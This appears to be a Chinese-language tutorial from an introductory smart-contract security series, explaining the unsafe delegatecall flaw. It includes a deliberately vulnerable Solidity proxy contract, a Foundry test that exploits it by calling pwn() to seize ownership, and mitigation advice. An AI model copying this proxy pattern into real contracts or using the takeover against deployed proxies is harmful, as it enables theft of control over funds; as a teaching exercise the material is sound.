漏洞名称:不安全的委托调用漏洞
描述:代理合约所有者操作漏洞是智能合约设计中的一个缺陷,它允许攻击者操作代理合约的所有者,该所有者被硬编码为0xdeadbeef。这个漏洞是由于代理合约的回退函数中使用了delegatecall。delegatecall允许攻击者在代理合约的上下文中调用来自委托合约的pwn()函数,从而改变代理合约所有者状态变量的值。这允许智能合约在运行时从不同地址动态加载代码。
场景:代理合约旨在帮助用户调用逻辑合约 代理合约的所有者被硬编码为0xdeadbeef 你能操作代理合约的所有者吗?
缓解措施:为了缓解代理合约所有者操作漏洞,除非明确需要,否则避免使用delegatecall,并确保安全地使用delegatecall。如果delegatecall对合约的功能是必要的,确保验证和清理输入,以避免意外行为。
代理合约:
contract Proxy {
address public owner = address(0xdeadbeef); // slot0
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
}
fallback() external {
(bool suc, ) = address(delegate).delegatecall(msg.data); // 漏洞所在
require(suc, "Delegatecall failed");
}
}
如何测试:
forge test –contracts src/test/Delegatecall.sol-vvvv
// 测试使用delegatecall的场景的测试函数。
function testDelegatecall() public {
// 初始化一个新的Delegate合约,即“逻辑合约”。
DelegateContract = new Delegate();
// 通过将Delegate合约的地址传递给其构造函数来初始化一个新的代理合约。这是“代理合约”。
proxy = new Proxy(address(DelegateContract));
// 记录Alice的地址。
console.log("Alice address", alice);
// 记录代理合约的所有者。
console.log("DelegationContract owner", proxy.owner());
// 记录开始操作更改代理合约所有者的过程。
console.log("Change DelegationContract owner to Alice...");
// 将消息发送者设置为Alice。
vm.prank(alice);
// 通过delegatecall调用Delegate合约的pwn函数。这是利用漏洞。
address(proxy).call(abi.encodeWithSignature("pwn()"));
// Proxy.fallback()将delegatecall Delegate.pwn(),使Alice成为代理合约的所有者。
// 记录代理合约的新所有者。
console.log("DelegationContract owner", proxy.owner());
// 记录利用过程的完成。
console.log(
"Exploit completed, proxy contract storage has been manipulated"
);
}
// 包含可以通过delegatecall调用的代码的Delegate合约。
contract Delegate {
// 合约的所有者。
address public owner; // slot0
// pwn函数,将合约的所有者设置为消息发送者。
function pwn() public {
owner = msg.sender;
}
}
红框:成功利用,所有者已更改。
原文始发于微信公众号(3072):智能合约漏洞入门 (3) Unsafe Delegatecall